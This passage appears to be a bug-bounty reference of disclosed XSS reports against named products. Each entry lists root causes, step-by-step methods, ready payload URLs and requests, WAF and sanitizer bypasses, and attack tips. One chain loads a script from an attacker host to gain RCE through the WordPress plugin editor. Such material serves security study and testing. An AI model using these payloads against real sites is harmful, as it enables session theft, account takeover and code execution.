- Script executes with no auth required
https://TARGET/?s='><script>alert(document.domain)</script>
Insight — Custom theme/search JS that echoes the query into the DOM is a recurring unauthenticated DOM-XSS sink. Read the theme's search.js and trace the s/query source to its DOM sink; single-quote is the usual break character.
Real-world example
Reflected XSS in URL path segment (theme category route)
◆ Medium
Specimen #950845 · automattic · awarded · 15 votes · resolved
Program automatticSurface web
Root cause
The Atavist theme reflects the /category/<segment> path value into the page without encoding <>"', so a path segment closes an attribute/tag and injects an SVG onload handler.
Method
- Request /category/<payload> with the segment breaking out of its attribute
- Use svg onload with backtick-call alert to avoid parentheses if needed
- Load in browser to fire
https://magazine.atavist.com/category/"><svg onload=alert`XSS`>
Insight — Reflection sinks are not only query params — path segments (/category/, /tag/, /search/) are often echoed unencoded in themes. Test path components too; alert`XSS` (tagged template) sidesteps parenthesis filters.
Real-world example
Reflected XSS via HTTP request header echoed by a debug/header page
◆ Medium
Specimen #1069528 · mtn_group · none · 15 votes · resolved
Program mtn_groupSurface web
Root cause
A diagnostic endpoint (header.aspx) reflects raw request headers (Referer, etc.) into the HTML response with no encoding.
Method
- Request the header/debug page and set the Referer (or other header) to an HTML payload
- Observe the header value reflected unencoded in the response body
Referer: https://www.google.com/search?q=x'"()&%<img src=x onerror=alert(document.domain)>
Insight — Header-reflecting endpoints (header.aspx, echo/debug pages, error pages) are reflected-XSS sinks not reachable via URL params. Fuzz Referer/User-Agent/X-Forwarded-* with a marker and grep the response for it.
Real-world example
Stored XSS in an unauthenticated admin panel field
◆ Medium
Specimen #1164853 · acronis · none · 15 votes · resolved
Program acronisSurface web
Root cause
A legacy admin page (index.cfm) is reachable without authentication and stores field input (promo code) that is rendered back with no output encoding.
Method
- Discover the exposed admin path (index.cfm) and confirm it needs no auth
- Edit a stored field (promo code) with an HTML/JS payload
- Reload the listing page to trigger stored execution
<img src=x onerror=alert(document.domain)>
<h1 onmouseover=alert(document.domain)>XSS</h1>
Insight — Old ColdFusion/legacy admin panels are frequently forgotten and unauthenticated; combine forced-browsing to /ADMIN/ with stored-XSS testing of every editable field.
Real-world example
Reflected XSS on auth/password page, unicode-escaped payload to slip filters
◆ Medium
Specimen #1362995 · tennessee-valley-authority · none · 15 votes · resolved
Program tennessee-valley-authoritySurface webTag auth
Root cause
A username/return parameter on a SiteMinder/login-services page is reflected unencoded; encoding the payload with \u00XX unicode escapes evades naive character filters.
Method
- Locate the reflected param on the auth/password endpoint (USERNAME, returnurl)
- Reflect an img/onerror payload; if blocked, encode angle brackets/space as \u003c \u0020 etc.
- Confirm execution
/siteminderagent/forms/smpwservices.fcc?USERNAME=\u003cimg\u0020src\u003dx\u0020onerror\u003d\u0022confirm(document.domain)\u0022\u003e&SMAUTHREASON=7
Insight — Login/forgot-password pages reflect USERNAME/returnurl and are prime reflected-XSS targets. When plain <img> is filtered, try JS unicode escapes (\u003c) or standard HTML-context img/onerror; test both HTML and script contexts.
Real-world example
Rails redirect_to control-char single-click XSS (CVE-2023-28362)
◆ Medium
Specimen #1955370 · rails · none · 15 votes · resolved
Program railsSurface webTag open-redirect
Root cause
Certain control characters (%01-%08,%0b,%0c,%0e-%1f) in a value passed to redirect_to make Rack strip the Location header; the fallback HTML body then renders the user-controlled URL as an <a href>, so a javascript: URI becomes a clickable payload.
Method
- Find a redirect_to that reflects a user-controlled URL (allow_other_host)
- Append a control char (e.g. %08) after a javascript: URL
- Response drops Location header and shows a clickable <a href=javascript:...> link
http://TARGET/vuln?redirect_url=javascript:alert(document.cookie)%08
Insight — Any framework redirect that echoes the target URL into a 'You are being redirected' <a href> body is XSS-prone if the redirect can be suppressed. Test control characters to break the Location header and turn a redirect into a clickable javascript: link.
Real-world example
Keycloak reflected XSS via JSON body reflected into text/html error
◆ Medium
Specimen #2126954 · deptofdefense · none · 15 votes · resolved
Program deptofdefenseSurface webTag auth
Root cause
Keycloak <=8.0 client-registration endpoint reflects the JSON request body into an error response served as text/html without encoding, so a JSON key containing an HTML payload executes.
Method
- Fingerprint Keycloak version via /auth/realms/master/... paths
- Change the request method to POST with a JSON body
- Put the XSS payload as a JSON key so it is reflected into the HTML error page
POST /auth/realms/master/clients-registrations/openid-connect HTTP/1.1
Content-Type: application/json;charset=UTF-8
{"<img onerror=confirm('xss') src/>":1}
Insight — Version-fingerprint off-the-shelf products (Keycloak, Swagger, etc.) and match known CVEs; error responses that echo the request body with content-type text/html are reflected-XSS sinks even when the normal UI is clean.
Real-world example
Stored XSS via unsanitized upload-error filename, chained to RCE
◆ Medium
Specimen #263109 · wordpress · awarded · 14 votes · resolved
Program wordpressSurface webChain malicious filename -> stored XSS in error -> XSSI exteTag file-uploadTag account-takeover
Root cause
BuddyPress echoes the uploaded filename unsanitized in the oversize-file error message, so a filename containing HTML/JS executes as stored XSS; as an admin victim this is chained via XSSI to same-origin script that edits a plugin through plugin-editor.php, yielding RCE.
Method
- Go to an avatar/cover-image upload (e.g. /wp-admin/users.php?page=bp-profile-edit)
- Upload a file exceeding the size limit whose NAME contains an XSS payload
- The error reflects the filename unsanitized -> script runs in the admin origin
- Payload loads external JS (XSSI due to length limits) that automates wp-admin/plugin-editor.php to write <?php phpinfo(); into hello.php
- Browse the edited plugin file to execute PHP
Filename:
POC<img src=x onerror='document.write(atob("...base64 <script src=http://ATTACKER/wp-rce.js>..."))'>
// wp-rce.js: iframe plugin-editor.php, set #newcontent to `<?php phpinfo();`, click #submit, then load the plugin file
Insight — Error messages that reflect uploaded filenames are a classic stored-XSS sink - fuzz the filename, not just the content. Against an admin, escalate XSS to RCE through built-in code editors (plugin/theme editor). Use an external-JS loader when filename/char limits cap the inline payload (XSSI).
Real-world example
Self-XSS escalated via XSSJacking through email-preview iframe
◆ Medium
Specimen #1397940 · judgeme · awarded · 14 votes · resolved
Program judgemeSurface webChain stored self-XSS -> iframe injection in email preview ->Tag file-upload
Root cause
A stored self-XSS in a profile image URL is unexploitable alone because it needs the victim to paste it; but an app surface (the review-request full-email preview) renders attacker HTML including an iframe, letting the attacker frame the vulnerable page and drive the self-XSS with XSSJacking (clickjacking-style forced paste/interaction).
Method
- Store the self-XSS by editing a recommendation image URL with an onload payload appended after the .png
- Find an app surface that renders raw HTML/iframes (here: the review-request email 'full preview' via 'Trouble viewing email')
- Inject an <iframe src> pointing at the victim's vulnerable profile page into that surface
- Trigger delivery (create+fulfill a Shopify order for the target reviewer) so the framed preview loads
- Use XSSJacking (forced copy/paste over the framed input) to fire the otherwise self-only XSS
# stored in recommendation image URL:
https://secure.gravatar.com/avatar/HASH.png?;'onload=alert(document.domain)>
# injected into email text-block link display/url:
https://<iframe src="https://judge.me/[TARGET_ID]?tab=public_profile">
Insight — Self-XSS is not dead: look for any second surface that (a) renders your stored payload's page in an iframe and (b) can be delivered to the victim. Differing CSP/X-Frame-Options between endpoints (one page SAMEORIGIN, another framable) is what makes the chain work.
Real-world example
Stored XSS in RSS/XML via unencoded blog title (XHTML-namespaced script)
◆ Medium
Specimen #1664914 · automattic · awarded · 14 votes · resolved
Program automatticSurface webTag file-upload
Root cause
A user-controlled blog post title is reflected into a generated RSS/XML document (comments.rss) without HTML/XML encoding. Because the document is XML, a plain <script> would not run, but an XHTML-namespaced script element executes when the RSS is viewed in a browser.
Method
- Set the blog post title to the XML-namespaced script payload
- Post a comment on that blog with the IntenseDebate account so the title propagates into your profile's comments.rss
- Load the public comments.rss URL in a browser; the script executes in the site's origin for anyone who views it
<a:script xmlns:a="http://www.w3.org/1999/xhtml">alert(document.domain)</a:script>
Insight — Any endpoint that emits XML/RSS/SVG/Atom from user data is an XSS sink: test namespaced-script and event-handler payloads, not just <script>. RSS feeds are often overlooked and are viewed by many users, making stored XSS there high-reach.
Real-world example
WAF bypass: double-URL-encoded quote in path breaks href attribute
◆ Medium
Specimen #252908 · starbucks · awarded · 14 votes · resolved
Program starbucksSurface web
Root cause
The current URL is reflected into a <link rel=canonical href=...> element; the WAF blocks raw/%u0022 quotes in the query string but not %2522 (double-encoded) in the URL path, which the app decodes once into a real quote.
Method
- Put the payload in the URL PATH (not query) to dodge the query-string WAF rule
- Encode the breaking quote as %2522 so it decodes once to "
- Break out of the href attribute and inject an onclick handler, then trigger a click
https://TARGET/shop/paymentmethod/hkjhk%2522onclick=%2522confirm(document.domain)%2522id=%2522checkoutButton
Insight — WAF rules are often position-specific (query vs path) and single-decode-aware. Move the payload between path and query and use double/mixed encoding (%2522, %25xx) to reach a sink that decodes an extra time. Watch reflected <link canonical> hrefs.
Real-world example
Reflected DOM XSS chaining attribute injection with prettyPhoto jQuery selector
◆ Medium
Specimen #396493 · starbucks · awarded · 14 votes · resolved
Program starbucksSurface webChain attribute injection (canonical href) + prettyPhoto hash->
Root cause
Two individually-benign issues combine: (1) HTML attribute injection into <link canonical> lets you add an onclick to an element; (2) the outdated prettyPhoto module reads location.hash (#!) and calls .trigger('click') on a jQuery selector built from it, so an attacker-chosen selector fires the injected handler.
Method
- Inject an onclick attribute via the %2522 canonical-href bug
- Append a #! fragment whose hashRel builds a jQuery selector matching your element
- prettyPhoto triggers click on all matching elements, executing the onclick
https://TARGET/shop/card/egift/thank-you/anything%2522onclick=%2522confirm(document.domain)#!\'\,\*\,/1
Insight — A 'harmless' attribute injection becomes full XSS when a client-side gadget (prettyPhoto, jQuery plugins reading location.hash) can trigger events on arbitrary elements. Audit outdated JS libs for hash/selector sinks and pair them with attribute-injection primitives.
Real-world example
WordPress esc_url bypass via %u00XX post-sanitization entity conversion
◆ Medium
Specimen #497724 · wordpress · awarded · 14 votes · resolved
Program wordpressSurface web
Root cause
In post preview, get_the_content() runs a preg_replace_callback that converts %u00XX sequences to HTML entities AFTER esc_url() has already sanitized the value, re-introducing a javascript: URI that esc_url would have blocked.
Method
- Create a post with an anchor whose href uses %u00XX encoding for the colon
- Preview the post as a privileged user
- The post-sanitization conversion turns javascript%u003A back into javascript: and the link executes
<a href="javascript%u003Aalert(/XSS/)">text</a>
Insight — Order-of-operations bugs: any transform (URL-decode, entity-convert, normalization) that runs AFTER the sanitizer can revive a blocked payload. Look for encode/normalize steps downstream of esc_url/escaping and feed them the sanitizer's blind spot (%u-encoding here).
Real-world example
Reflected XSS: param used as translation-token key printed unescaped
◆ Medium
Specimen #390429 · valve · awarded · 14 votes · resolved
Program valveSurface web
Root cause
A URL parameter (option) is used to look up a localization/translation token; when no matching token exists the raw user input is printed into the page unescaped.
Method
- Find a param that selects a UI string/translation token
- Supply a value with no matching token so the fallback echoes it raw
- Inject HTML in that fallback path
https://TARGET/wizard/HelpWithGameIssue/?appid=1&issueid=1&option=%3Ch1%3Eunfiltered%3C/h1%3E
Insight — i18n/token-lookup params often escape known keys but echo unknown ones verbatim as a fallback. Send a bogus token value and check for raw reflection in the string it was supposed to resolve.
Real-world example
Reflected XSS via unescaped backslash breaking out of <script> string
◆ Medium
Specimen #311639 · eternal · awarded · 14 votes · resolved
Program eternalSurface webTag oauth
Root cause
A parameter is reflected inside a JavaScript string literal in a <script> block; quotes are escaped but the backslash is not, so a trailing \ escapes the closing quote and lets injected JS run.
Method
- Identify a param reflected inside inline <script> (often OAuth callback state)
- Send a backslash to neutralize the escaping of the closing quote
- Follow with your JS after breaking out of the string
https://TARGET/googleOAuth2Callback?)}(alert)(location);{%3C!--&state=\
Insight — In script-string context, if " and ' are escaped but \ is not, a lone backslash breaks the intended escaping and you inject raw JS. Always test the backslash and try to escape out of the string, not just angle brackets.
Real-world example
DOM XSS via backURL param used as button href (javascript: scheme)
◆ Medium
Specimen #1159255 · deptofdefense · none · 14 votes · resolved
Program deptofdefenseSurface web
Root cause
A backURL/return parameter is written client-side into the href of a 'Back' button without scheme validation, so a javascript: value executes on click.
Method
- Find a back/return URL param reflected into a link href in the DOM
- Set it to javascript:alert(document.domain)
- Click the button that uses it
https://TARGET/page?backURL=javascript:alert(document.domain)
Insight — back/return/redirect params that populate a link href client-side are classic DOM-XSS sinks. Grep JS for location/param values assigned to .href/setAttribute('href') and test the javascript: scheme.
Real-world example
User-interaction reflected XSS forced via clickjacking (opacity-0 iframe)
◆ Medium
Specimen #1171403 · deptofdefense · none · 14 votes · resolved
Program deptofdefenseSurface webChain reflected XSS (needs click) + clickjacking (no XFO) = 1-clicTag clickjacking
Root cause
A reflected XSS requires a click to fire; the target lacks X-Frame-Options/frame-ancestors, so it can be framed invisibly and overlaid on decoy UI to trick the victim into performing the click.
Method
- Build a page that frames the XSS URL in an opacity:0 iframe over a lookalike background
- Position a decoy element where the vulnerable click target sits
- Victim clicks the decoy, actually clicking through to trigger the XSS
<iframe src="https://TARGET/page?URL=javascript:alert(document.domain)//%0D%0A" width=100% height=100% style="opacity:0;"></iframe>
Insight — An interaction-required (or 'suspicious-looking') reflected XSS is still exploitable if the page is frameable: chain clickjacking to supply the interaction and hide the payload. Always check X-Frame-Options/CSP frame-ancestors when a bug needs a click.
Real-world example
DOM XSS via outdated Swagger UI configUrl parameter
◆ Medium
Specimen #1736327 · adobe · none · 14 votes · resolved
Program adobeSurface web
Root cause
An outdated Swagger UI instance accepts a configUrl (or url) parameter pointing to an attacker-hosted spec; older versions execute script from the loaded definition, yielding DOM XSS.
Method
- Find a Swagger UI page that honors ?configUrl= or ?url=
- Host a malicious OpenAPI/Swagger config with an XSS payload
- Load the Swagger page with configUrl pointing at your spec
https://TARGET/swagger/?configUrl=https://attacker.tld/evil-config.yaml
Insight — Documentation UIs (Swagger UI, Redoc) with a url/configUrl param and a stale version are a recurring DOM-XSS primitive; fingerprint the Swagger UI version and check it against known CVEs. Great recon signal on github.io / docs subdomains.
Real-world example
LF injection into 'from' param -> ajax nav reads JSON location -> javascript: DOM XSS
◆ Medium
Specimen #874198 · vkcom · USD 500 · 13 votes · resolved
Program vkcomSurface webChain LF injection in from param -> off-site ajax nav -> JSOTag cors
Root cause
Insufficient validation of the from parameter lets an attacker inject a newline to smuggle an external URL into a 'Back' link; the SPA navigation fetches that URL, and if the JSON response has a location key it is used as a redirect target, allowing a javascript: URI to execute.
Method
- Inject %0A plus an attacker URL into the from param so the Back link points off-site
- Host a JSON endpoint (CORS-open) returning {"location":"javascript:alert(document.domain)"}
- Victim clicks Back; SPA fetches your JSON and navigates to the javascript: location
https://m.TARGET/artist/x?from=%0A/attacker.com
// attacker.com returns: {"location":"javascript:alert(document.domain)","hard":1,...}
Insight — SPA 'back'/navigation params that trigger an XHR and honor a location/redirect field in the JSON response are a DOM-XSS gadget: control the fetched URL (via LF/CRLF or open input), return a javascript: location. Look for x-ajax-nav style client routing.
Real-world example
AngularJS client-side template injection (sandbox escape) with entity-encoded WAF bypass
◆ Medium
Specimen #240256 · wordpress · awarded · 13 votes · resolved
Program wordpressSurface web
Root cause
User input reflected inside an AngularJS-bound region is evaluated as an Angular expression; constructor.constructor() reaches the JS Function constructor for arbitrary execution. HTML-entity-encoding the braces bypasses the server filter that blocked literal {{ }}.
Method
- Detect Angular by injecting {{7*7}} and seeing 49 rendered.
- Use constructor.constructor('alert(document.domain)')() to escape the expression sandbox.
- If {{ }} is filtered, submit the braces HTML-entity-encoded so the server passes them but the browser renders them back into Angular.
{{constructor.constructor('alert(document.domain)')()}}
WAF-bypass (entity-encoded braces):
{{constructor.constructor('alert(document.domain)')()}}
URL:
https://TARGET/?s=%26%23123%3B%26%23123%3Bconstructor.constructor%28%27alert%28document.domain%29%27%29%28%29%7D%7D&post_type=product
Insight — On any Angular app, {{7*7}}=49 confirms CSTI; constructor.constructor is the universal sandbox escape. When braces are filtered, HTML-entity encoding often slips past a server-side string filter because the DOM decodes them before Angular parses.
Real-world example
DOM XSS via innerHTML tag-fixing sanitization on input events
◆ Medium
Specimen #241008 · shopify · awarded · 13 votes · resolved
Program shopifySurface web
Root cause
Client-side 'sanitization' that tries to fix unclosed tags by assigning value to element.innerHTML (document.createElement('div').innerHTML = value) on onblur/onchange instantiates attacker HTML in the DOM.
Method
- Find a field whose JS handler reformats/parses input via innerHTML.
- Enter an img/onerror payload and blur/change the field to trigger the handler.
- Payload is parsed into the live DOM and executes.
"><img src="x" onerror="alert(document.cookie)">
Insight — innerHTML used for 'cleanup' is a live sink, not a sanitizer. Grep client JS for .innerHTML =, insertAdjacentHTML, jQuery .html() on user input, and event handlers (onblur/onchange/onkeyup) that reprocess field values.
Real-world example
Reflected XSS in Atlassian Confluence tinymce wysiwyg-insertlink.action (alias/tooltip)
◆ Medium
Specimen #866426 · lab45 · none · 13 votes · resolved
Program lab45Surface web
Root cause
The Confluence TinyMCE insert-link plugin reflects the alias and tooltip request parameters into the page without encoding, allowing attribute breakout.
Method
- Identify a Confluence wiki (pages/createpage.action).
- Hit the insert-link endpoint with attribute-breakout payloads in alias and tooltip.
- Send the crafted URL to a victim with wiki access.
https://TARGET/wiki/plugins/tinymce/wysiwyg-insertlink.action?draftType=page&spaceKey=tcwiki¤tspace=tcwiki&formname=createpageform&fieldname=wysiwygcontent&alias=as%22%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3E&tooltip=as%22%3E%3Cimg%20src=X%20onerror=alert(document.cookie)%3E
Insight — Product-specific known sink: fingerprint Confluence/TinyMCE and test the *.action endpoints (wysiwyg-insertlink alias/tooltip) directly. Reusable across any Confluence-backed wiki.
Real-world example
Reflected XSS via vulnerable SockJS htmlfile transport (?c= callback)
◆ Medium
Specimen #1100326 · automattic · awarded · 13 votes · resolved
Program automatticSurface web
Root cause
Old SockJS/socket.io htmlfile fallback transport reflects the c callback parameter into an inline script without validation, giving reflected XSS on any host running the vulnerable library.
Method
- Fingerprint SockJS/socket.io endpoints (/sock, /ws, .../htmlfile).
- Request the htmlfile transport with a JS payload in c.
- Observe execution; often bypasses CDN/WAF (seen behind Cloudflare).
https://TARGET/sock/1/0/0/0/htmlfile?c=alert('XSS')//
https://TARGET/ws/007/tgpraolp/htmlfile?c=<payload>
Insight — Library-level XSS: grep JS bundles/paths for sockjs/socket.io and probe .../htmlfile?c=. A dependency version bump is the fix, so version-fingerprinting recon finds these across many hosts.
Real-world example
Cisco ASA/FTD WebVPN CVE-2020-3580 POST-based XSS via SAMLResponse
◆ Medium
Specimen #1245055 · deptofdefense · none · 13 votes · resolved
Program deptofdefenseSurface webTag saml
Root cause
Unpatched Cisco ASA/FTD WebVPN reflects the SAMLResponse POST parameter at /+CSCOE+/saml/sp/acs without encoding (CVE-2020-3580), giving POST-based reflected XSS.
Method
- Fingerprint Cisco ASA/AnyConnect WebVPN (/+CSCOE+/ paths).
- Host an auto-submitting HTML form POSTing an svg/onload payload as SAMLResponse to /+CSCOE+/saml/sp/acs?tgname=a.
- Victim visits page; form auto-submits and payload executes on the ASA origin.
<form action="https://TARGET/+CSCOE+/saml/sp/acs?tgname=a" method="POST">
<input type="hidden" name="SAMLResponse" value=""><svg/onload=alert('XSS')>" />
</form>
<script>document.forms[0].submit();</script>
Insight — POST-only reflected XSS still exploits via an auto-submitting cross-site form. Recon Cisco WebVPN endpoints and test known CVEs; the /+CSCOE+/saml/sp/acs SAMLResponse sink is widespread on enterprise/gov edges.
Real-world example
Learning Locker xAPI reflected XSS (CVE-2021-41878) + default basic-auth
◆ Medium
Specimen #1825942 · deptofdefense · none · 13 votes · resolved
Program deptofdefenseSurface apiChain Default creds -> authenticated xAPI endpoint -> reflec
Root cause
The Learning Locker xAPI /xapi/statements endpoint reflects the file query parameter unencoded (CVE-2021-41878); the endpoint is reachable using shipped default credentials xapi-tools:xapi-tools.
Method
- Find an xAPI/Learning Locker /xapi/statements endpoint.
- Authenticate with default basic creds (Authorization: Basic base64(xapi-tools:xapi-tools)) and X-Experience-Api-Version header.
- Send file parameter with a script breakout; response reflects and executes it.
GET /xapi/statements?file"><script>alert(document.domain)</script> HTTP/1.1
Authorization: Basic eGFwaS10b29sczp4YXBpLXRvb2xz
X-Experience-Api-Version: 1.0.1
Insight — Default/shipped credentials (xapi-tools:xapi-tools) plus a product CVE turn an 'authenticated' XSS into an unauthenticated one. Always decode observed Basic auth and test vendor-default creds on API endpoints.
Real-world example
XSS via prerender/Rendertron /render/<attacker-url> reflecting attacker HTML on victim origin
◆ Medium
Specimen #1853061 · jetblue · none · 13 votes · resolved
Program jetblueSurface webChain prerender proxy -> attacker HTML on victim origin -> XTag subdomain-takeover
Root cause
A Rendertron/headless prerender service exposed at /render/<url> fetches an attacker-controlled URL and returns its (attacker-authored) HTML from the victim's own subdomain, executing script in that origin.
Method
- Find a prerender/Rendertron endpoint (subdomain/path /render/).
- Request /render/https://attacker.example/ where the attacker page contains an XSS payload.
- Response is served from the victim origin with attacker HTML/script.
GET /render/https://attacker.example/ HTTP/2
Host: RENDER.TARGET.com
(attacker page returns:)
<html><head><base href="https://attacker.example/"></head><body><xss onblur="alert(1)" id="x" tabindex="1" style="display:block">test</xss></body></html>
Insight — SSR/prerender/preview proxies (Rendertron, headless renderers) that echo a fetched remote page onto your own origin are both SSRF and XSS. Any /render/, /preview?url=, /proxy?url= that returns fetched HTML on the app origin is high-value.
Real-world example
Reflected XSS + full CSP bypass via bundled third-party PHP proxy (Nextcloud richdocumentscode/Collabora)
◆ Medium
Specimen #1893186 · nextcloud · none · 13 votes · resolved
Program nextcloudSurface webChain reflected XSS on same origin -> trivial account takeoverTag account-takeoverTag supply-chain
Root cause
The bundled richdocumentscode app ships a plain proxy.php (Collabora Online) that builds HTML via insecure string concatenation from the WOPISrc param and, running as raw PHP on the app origin, applies none of Nextcloud's default CSP headers, so reflected XSS executes with full CSP bypass.
Method
- Install recommended apps (Nextcloud Office pulls vulnerable richdocumentscode).
- Hit /custom_apps/richdocumentscode/proxy.php?req=/browser/.../cool.html?WOPISrc=<origin>:<url-encoded img onerror payload>.
- Payload reflects into concatenated HTML; because proxy.php isn't a Nextcloud controller, no CSP is applied and script runs -> trivial ATO.
/custom_apps/richdocumentscode/proxy.php?req=/browser/a4b9c74/cool.html?WOPISrc=http://example.com:%3c%69%6d%67%20%73%72%63%3d%27%27%20%6f%6e%65%72%72%6f%72%3d%27...%27%3e
(decodes to: <img src='' onerror='s=document.createElement(String.fromCharCode(115,99,114,105,112,116));s.src=...;document.body.appendChild(s)'>)
Insight — Bundled/vendored components that serve raw PHP (or any non-framework handler) often escape the app's global CSP and encoding middleware. When the main app has strong CSP, hunt for standalone .php/.jsp proxies under apps/plugins dirs -- they're the CSP hole.
Real-world example
mXSS via HTML sanitizer parser differential (Rails SafeListSanitizer select+style, CVE-2022-32209)
◆ Medium
Specimen #1599573 · ibb · USD 2400 · 12 votes · resolved
Program ibbSurface webTag supply-chain
Root cause
When allowed tags include both select and style, Rails::Html::SafeListSanitizer (nokogiri) mis-parses malformed nesting so that a <script> ends up inside <style> and survives sanitization -- a mutation/parser-differential XSS. Differs between JRuby (java nokogiri) and CRuby.
Method
- Check whether the app's sanitizer allowlist includes both select and style tags.
- Submit malformed nested markup that the parser re-arranges to smuggle a script node.
- Rendered output contains executable script.
<select<style/>W<xmp<script>alert(1)</script>
Straightforward variant (CRuby+JRuby):
<select><style><script>alert(1)</script></style></select>
Insight — Sanitizer bypasses live in the gap between how the sanitizer's parser and the browser's parser normalize broken HTML (mXSS). select/style/xmp/noscript/template are classic 'namespace-confusion' tags; test them whenever an app allows a custom tag allowlist.
Real-world example
javascript: URI XSS via link helper that doesn't validate scheme (GitLab external_link)
◆ Medium
Specimen #1194254 · gitlab · USD 1130 · 12 votes · resolved
Program gitlabSurface webTag open-redirect
Root cause
GitLab's external_link helper builds an anchor from a user-controlled return_to value (jira_connect/users?return_to=) without validating that the scheme is http/https, so javascript: is preserved as the href and executes on click (Safari).
Method
- Find a redirect/return_to/next parameter rendered as a clickable link.
- Set it to javascript:alert(location).
- Victim opens the URL and clicks the resulting button; in Safari the javascript: href executes.
https://TARGET/-/jira_connect/users?return_to=javascript:alert(location)
Insight — link_to/external_link-style helpers trust the passed URL. Any code path that renders a user-supplied URL as an <a href> without an allowlist of http(s) is XSS. Browser behavior varies (Safari executed; Chrome/Firefox opened a tab), so test multiple browsers.
Real-world example
Reflected XSS via URL path segment reflected into an inline JS string
◆ Medium
Specimen #406704 · valve · USD 750 · 12 votes · resolved
Program valveSurface web
Root cause
The path segment after /agecheck/ is reflected unescaped into an inline JavaScript string in the page, letting an attacker close the string/function call and inject arbitrary JS.
Method
- Identify a path segment reflected into inline <script> (often near session vars like g_sessionID).
- Break out of the JS string/call and append your own statement, then repair syntax so the script still parses.
https://store.steampowered.com/agecheck/appmhuh2',{ sessionid: g_sessionID, ageDay: '', ageMonth: '', ageYear: '' } ).done( function( response ) { }%20 );}alert`XSS-by-TvM`;function x(){$J.post('mr2n2/247660/
Insight — Reflection sinks aren't only query params: path segments frequently land inside inline JS (AJAX setup, g_sessionID blocks). Look for your input echoed between <script> tags and craft a JS-context breakout (close string, close call, add statement, re-open to keep syntax valid). alert`` backtick call avoids parentheses filters.
Real-world example
Stored/DOM XSS in data-explorer record rendering
◆ Medium
Specimen #156373 · algolia · awarded · 12 votes · resolved
Program algoliaSurface web
Root cause
User-supplied index record content (an added attribute) is rendered unescaped into the explorer UI (ranking-info tooltip), so HTML injected into stored data executes when the record is displayed.
Method
- Open the Algolia explorer for an index
- Add a record/attribute whose value is an HTML-breaking payload
- Switch to the ranking tab and hover the trophy/ranking-info icon; payload fires
"><img src=x onerror=alert(document.cookie)>
Insight — Dashboards that echo stored dataset values (search indexes, log viewers, admin record explorers) frequently skip escaping in secondary views (tooltips, detail panes). Inject once, trigger in the render-heavy view.
Real-world example
Second-order stored XSS via unsanitized entity name in activity timeline
◆ Medium
Specimen #166887 · shopify · awarded · 12 votes · resolved
Program shopifySurface web
Root cause
A user-controlled name field (POS Location / Supplier) is stored raw and later interpolated unescaped into a human-readable timeline/audit sentence on the admin Orders/Transfers page.
Method
- Set a Location/Supplier name to an HTML payload
- Perform an action that logs a timeline event referencing that name
- Open the order/transfer; the timeline sentence executes the payload
<img src=x onerror=prompt(1)>
Insight — Timelines, audit logs, and 'X did Y to Z' activity strings are classic second-order sinks: the injected value travels far from the input field and is rendered where devs forgot to escape. Name/label fields on any object are the seed.
Real-world example
Reflected XSS via URL/referer inside JSON-in-script
◆ Medium
Specimen #172574 · automattic · awarded · 12 votes · resolved
Program automatticSurface web
Root cause
The current URL (referer) is reflected into a JS object (subscribeNonce/referer) embedded in a <script> block and later injected into DOM via .html(); the value is not JS/HTML-escaped, so a crafted path breaks out with <script>.
Method
- Craft a URL on a site using the WP.com Follow button with an HTML-breaking path
- Victim (logged-out, fbd.isLoggedIn=false) opens it and clicks Follow
- The follow-form HTML is built from fbd.referer/subscribeNonce and executes the injected script
https://apps.wordpress.com/support/"><script>alert(document.domain)</script>
Insight — When a page prints the request URL into an inline JS config object, test breaking out of both the JS string and the surrounding <script>. .html()/innerHTML sinks that consume that config turn it into XSS even after HTML-encoding at print time.
Real-world example
Reflected injection via URL path segment (CSP-limited)
◆ Medium
Specimen #179426 · blockchain · awarded · 12 votes · resolved
Program blockchainSurface web
Root cause
The trailing URL path segment on the block-index page is reflected into HTML without encoding, enabling HTML injection; a strict CSP (blocking even 'self') prevented arbitrary JS execution.
Method
- Append an HTML-breaking payload as the last URL path segment
- Observe it reflected unencoded into the page body
https://blockchain.info/en/block-index/1160457/%22%3E%3Ch1%3EXSS%20here
(full JS exec seen in #1159362: /status%3E%3Cscript%3Ealert(31337)%3C/script%3E on an nginx module with no CSP)
Insight — Path segments (not just query params) are reflected sinks. Always fuzz the last URL component. Note CSP can downgrade XSS to HTML injection - report it, then hunt a CSP bypass or a JS sink; without CSP the same class is full XSS.
Real-world example
Stored XSS via CMS form-control label (getControlLabel)
◆ Medium
Specimen #230278 · concretecms · none · 12 votes · resolved
Program concretecmsSurface web
Root cause
Concrete5 TextControl::getControlLabel() returns the admin-set Headline value without sanitization; it is rendered as HTML on any front-end page containing the form.
Method
- Login, go to Express entities -> Contact form
- Edit the Text control's Headline to a script payload
- Visit any page containing the form; payload executes for all visitors
<p>...</p><script>console.error('Stored XSS', navigator.appVersion)</script>
Insight — Form-builder/label fields are stored sinks that render to end users even when the injector needs admin rights. Trace CMS getLabel/getHeadline getters - they often skip the sanitize() applied to body text.
Real-world example
Unauth reflected XSS via cID in preview_as_user (source-audit)
◆ Medium
Specimen #643442 · concretecms · none · 12 votes · resolved
Program concretecmsSurface web
Root cause
frame.php builds an iframe src by concatenating Request::request('cID') directly into HTML with no intval()/htmlentities(), reachable without authentication.
Method
- Hit /ccm/system/panels/page/preview_as_user/preview with an HTML-breaking cID
- Value is reflected into the iframe src / page and executes
cID=%22%3E%3C/iframe%3E%3Cscript%3Ealert(1)%3C/script%3E%3C!--
Insight — Grep source for request params concatenated into output (ripgrep 'Request::request', 'echo $_GET'), then filter to endpoints reachable pre-auth. Restricting scope to unauthenticated features surfaces high-impact reflected sinks fast.
Real-world example
DOM XSS in HTML-to-React lib via innerHTML entity unescape
◆ Medium
Specimen #753971 · nodejs-ecosystem · none · 12 votes · resolved
Program nodejs-ecosystemSurface web
Root cause
htmr uses element.innerHTML to decode HTML entities before converting to React elements; a URL-supplied, HTML-entity-encoded payload is decoded into live markup, defeating React's normal auto-escaping.
Method
- App renders htmr(`...${location.hash}...`)
- Attacker supplies an entity-encoded tag in the hash
- htmr's innerHTML decode turns <img/onerror> back into a live tag; XSS fires
http://localhost:3000/#<img/src/onerror=alert('xss')>
Insight — Libraries advertised as 'safe' (React converters, markdown/HTML sanitizers) can reintroduce XSS if they use innerHTML/decodeEntities on the way in. Audit npm deps for innerHTML usage; encoded payloads bypass framework escaping.
Real-world example
Reflected XSS in static-server directory listing (unescaped path)
◆ Medium
Specimen #951468 · nodejs-ecosystem · none · 12 votes · resolved
Program nodejs-ecosystemSurface web
Root cause
m-server builds its directory-listing HTML by concatenating the request path without escapeHtml(); a path-traversal-crafted URL injects markup into the listing.
